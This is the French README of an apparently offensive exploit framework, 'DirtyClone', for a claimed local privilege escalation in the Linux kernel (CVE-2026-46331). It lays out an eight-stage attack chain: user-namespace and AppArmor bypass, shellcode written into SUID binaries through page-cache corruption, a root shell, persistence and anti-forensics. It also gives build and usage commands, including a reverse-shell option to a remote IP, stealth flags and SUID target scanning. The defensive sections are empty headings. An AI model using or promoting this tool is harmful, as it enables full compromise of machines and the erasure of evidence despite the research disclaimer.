Framework d'exploitation DirtyClone
CVE-2026-46331 — Élévation de privilèges locale dans le noyau Linux
TC pedit + corruption du cache de pages IPsec TEE · Noyaux affectés : ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝

⚠️ UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE
Utilisez ce framework exclusivement dans des environnements de laboratoire isolés que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester.
Toute utilisation non autorisée est illégale et contraire à l'éthique.
📋 Table des matières
🔬 Vue d'ensemble de la vulnérabilité
CVE-2026-46331 est une vulnérabilité d'élévation de privilèges locale dans le noyau Linux (≤ 6.12.9) causée par une condition de course entre l'action pedit de la TC (cls_act) et la duplication de paquets basée sur IPsec TEE.
Cause racine
Lorsqu'un paquet traverse le chemin de sortie TC avec une action pedit qui définit IHL = 15, le sous-système IPsec du noyau reçoit un paquet malformé où le décalage de charge utile IP calculé dépasse les limites réelles du paquet. Sous des opérations sendfile(2) concurrentes, ce décalage permet à un utilisateur non privilégié (dans un espace de noms utilisateur avec CAP_NET_ADMIN) de corrompre les entrées read-only du cache de pages de fichiers arbitraires — y compris les binaires SUID.
Impact
🔗 Chaîne d'attaque
Utilisateur non privilégié (UID=1000)
│
▼
[1] Reconnaissance
├─ Vérification de la version du noyau
├─ Disponibilité des espaces de noms utilisateur
└─ Profilage du binaire cible
│
▼
[2] Contournement d'espace de noms
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ Saut de profil AppArmor (solution de repli)
└─ CAP_NET_ADMIN acquis
│
▼
[3] Infrastructure réseau
├─ clsact qdisc sur lo
├─ filtre pedit (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Corruption du cache de pages
├─ sendfile → déclenchement pedit
├─ Entrée du cache de pages corrompue
└─ Shellcode écrit dans un binaire en lecture seule
│
▼
[5] Élévation de privilèges
└─ execve(binaire SUID) → shell root
│
▼
[6-8] Post-exploitation
├─ Persistance (6 mécanismes)
├─ Évasion / Anti-forensique
└─ Nettoyage des traces
│
▼
🎯 SHELL ROOT (UID=0 EUID=0)
📁 Structure du projet
dirtyclone-exploit/
├── Makefile # Système de construction
├── README.md # Ce fichier
├── LICENSE # Licence MIT
│
├── include/
│ ├── exploit.h # Types principaux, drapeaux, prototypes
│ ├── packet_engine.h # API du moteur de création de paquets
│ ├── memory_ops.h # API de corruption du cache de pages
│ └── persistence.h # API du mécanisme de persistance
│
├── src/
│ ├── main.c # Point d'entrée du framework
│ ├── stage_env_analysis.c # Phase 1 : Reconnaissance
│ ├── stage_namespace_bypass.c # Phase 2 : contournement userns
│ ├── stage_network_setup.c # Phase 3 : configuration TC/IPsec
│ ├── stage_page_cache_corrupt.c # Phase 4 : Exploit principal
│ ├── stage_privilege_escalation.c # Phase 5 : Élévation de privilèges locale
│ ├── stage_persistence.c # Phase 6 : Persistance
│ ├── stage_evasion.c # Phase 7 : Anti-forensique
│ ├── stage_cleanup.c # Phase 8 : Suppression des traces
│ ├── memory_ops.c # Primitives de cache de pages
│ ├── packet_engine.c # Création de paquets bruts
│ └── persistence.c # Implémentations de persistance
│
├── modules/
│ ├── packet_craft.py # Créateur de paquets Python (Scapy)
│ └── exploit_analyzer.py # Outil d'analyse pré-exploit
│
├── scripts/
│ ├── setup_env.sh # Installation des dépendances + construction
│ ├── cleanup.sh # Nettoyage du système
│ └── detect_targets.sh # Scanneur de binaires vulnérables
│
└── payloads/
└── README.md # Informations sur le répertoire des payloads
⚙️ Prérequis
Temps de compilation
gcc ≥ 10
make
libcap-dev / libcap-devel
Exécution (cible Linux)
- Noyau ≤ 6.12.9
iproute2 (tc, ip)
iptables
- Espaces de noms utilisateur non privilégiés activés
Modules Python (optionnel)
🔧 Construction et installation
# Cloner
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Configuration automatique (installe les dépendances + construit)
sudo bash scripts/setup_env.sh
# Construction manuelle
make all
# Construction de débogage
make debug
# Nettoyage
make clean
🚀 Utilisation
# Afficher l'aide
./bin/dirtyclone --help
# Test à blanc (analyse uniquement, pas d'exploitation)
./bin/dirtyclone --test
# Exploitation de base (cible par défaut : /usr/bin/su)
sudo ./bin/dirtyclone
# Cible personnalisée avec furtivité + persistance
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Shell inverse
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Détecter d'abord les cibles vulnérables
bash scripts/detect_targets.sh
🐍 Modules Python
exploit_analyzer.py — Reconnaissance pré-exploit
# Analyser la cible par défaut
python3 modules/exploit_analyzer.py
# Cible personnalisée
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# Sortie JSON pour l'automatisation
python3 modules/exploit_analyzer.py --json
# Scanner tous les binaires SUID
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — Déclenchement de paquets bruts
# Envoyer des paquets d'exploit à l'offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Interface personnalisée et nombre de paquets
sudo python3 modules/packet_craft.py --iface eth0 --count 20
🛡️ Mesures défensives
📅 Chronologie
📚 Références
👤 Auteur
VulnQuest · Recherche en sécurité
Ce dépôt est fourni à des fins éducatives uniquement.
Tout code d'exploitation est destiné à être utilisé dans des environnements de laboratoire autorisés.